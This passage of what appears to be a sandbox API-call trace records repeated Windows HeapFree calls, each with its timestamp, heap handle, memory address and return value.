hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0233.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0233.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0233.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0233.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0233.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0233.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0233.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0233.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0233.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0233.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0233.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0233.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0233.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0233.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0233.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0233.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0233.715] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0233.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0233.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0233.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0233.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0233.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0234.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0234.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0234.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0234.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0234.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0234.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0234.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0234.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0234.082] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0234.084] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0234.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 